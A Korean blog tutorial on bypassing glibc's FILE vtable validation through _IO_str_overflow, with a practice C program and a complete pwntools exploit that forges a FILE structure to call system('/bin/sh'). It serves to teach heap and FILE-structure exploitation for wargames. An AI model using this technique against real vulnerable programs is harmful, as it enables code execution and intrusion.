ghkdtlwns987

_IO_FILE_vtable_check 본문

시스템

_IO_FILE_vtable_check

2020/03/31 2020. 10. 10. 17:01

저번에 Ubuntu16.04 부터는 vtable_check 루틴이 생겨서 vtable을 그대로 덮을 수 없다고 했다.

이번엔 그 vtable_check 루틴을 어떻게 bypass 하는지 알아보도록 하자. 

 

다음은 vtable_check 루틴이다.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  
  // check 
  if (__glibc_unlikely (offset >= section_length))              
    _IO_vtable_check ();
  return vtable;
}

다음을 보면 __glibc_unlikely (offset >= section_length)) 라면 

_IO_vtable_check() 함수를 호출한다. 

 

다음은 _IO_vtable_check() 함수이다. 

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
#else /* !SHARED */
  if (__dlopen != NULL)
    return;
#endif
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

그렇다면 우린 _IO_file_vtable_check 를 우회하기 위해서는 vtable 내에 있는 함수를가지고 Exploit 해야 한다. 

드림핵에서 소개한 방법을 가져올 건데,

_IO_FINISH 함수를 이용한 _IO_str_overflow 를 이용해 Exploit 해보도록 하겠다.

 

_IO_str_overflow 함수는 _IO_str_jumps 영역에 저장되어 있는데, _IO_str_jumps 영역은 _libc_IO_vtables 영역 내에 존재하기 때문에 이를 이용할 수 있다. (그렇기 때문에, _libc_IO_vtable 구조를 잘 알아두어야 한다.)

 

다음은 _IO_str_overflow 함수이다.

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

위의 코드를 보면

_IO_blen 매크로를 사용하여 초기화되는 new_size 변수는 _IO_FILE 구조체의 멤버 변수인 _IO_buf_end와 _IO_buf_base에 의해 결정되는데 다음과 같이 값을 넣어주게 되면 new_size 에 /bin/sh 값이 들어갈 것이다. 

 

_IO_write_ptr = ((binsh - 100) / 2)
_IO_write_base = 0
_IO_buf_end = ((binsh - 100) / 2)
_IO_buf_base = 0

+ 참고로 flush 의 기본 값은 0이기 때문에, 따로 설정해주지 않아도 된다. 

new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

다음을 보면 new_size 값이 /bin/sh 로 될텐데, _s._allocate_buffer 을 system() 함수로 덮어주면 Exploit 이 될 것이다.

 

이를 가지고 한번 실습해보자.

다음은 dreamhack 에서 가져온 코드이다.

// gcc -o vtable_bypass vtable_bypass.c -no-pie 
#include <stdio.h>
#include <unistd.h>
FILE *fp;
int main() {
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        fp = fopen("/dev/urandom","r");
        printf("stdout: %p\n",stdout);
        printf("Data: ");
        read(0, fp, 300);
        fclose(fp);
}

(Ubunut 18.04)

다음 코드는 fp 값에 300 크기만큼의 값을 입력해 줄 수 있다. 

 _IO_write_ptr, _IO_buf_end, _lock, vtable을 전부 조작할 수 있기 때문에 _IO_str_overflow 함수를 호출할 수 있고, _IO_str_overflow 함수 내부에서 호출하는 fp->_s._allocate_buffer 또한 조작할 수 있다. 

(_IO_overflow 함수는 추후에 또 다룰 것이다.)(할말이 많다.)

#vtable_bypass.py
from pwn import *
p = process("./vtable_bypass")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vtable_bypass')
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
print hex(libc_base)
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock 
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite 
payload += p64(system) # fp->_s._allocate_buffer RIP
p.send(payload)
p.interactive()

Exploit 코드를 보자. 

여기서 fake_vtable 값에 _IO_str_overflow - 16 을 준 이유는 _IO_FINISH() 함수가 호출이 될 떄, 0x16 만큼 뺀 값을 호출하기 때문이다. 방금 내가 설명한 내용은 DreamHack 문제를 풀때 상당히 중요하다. 꼭 기억해두도록 하자.

 

+추가로 _lock , _IO_chain 에 대해서는 곧 다루겠다.  자꾸 내용이 길어지는 이유는 File_structure 은 그만큼 공부할게 많기 때문이다. _IO_File 을 공부하면 기법과 연계된다. (FSOB, House Of Orange... 등등) 그러니 글이 글어지더라도 이해 바란다.)

'시스템' 카테고리의 다른 글

FSOB(_IO_flush_all_lockp )  (0) 2020.10.10
flose() 분석  (0) 2020.10.10
FSOB(File Stream Oriented Programming) 1  (0) 2020.10.10
_IO_FILE_vtable 2  (0) 2020.10.10
_IO_FILE_vtable 1  (0) 2020.10.10
Comments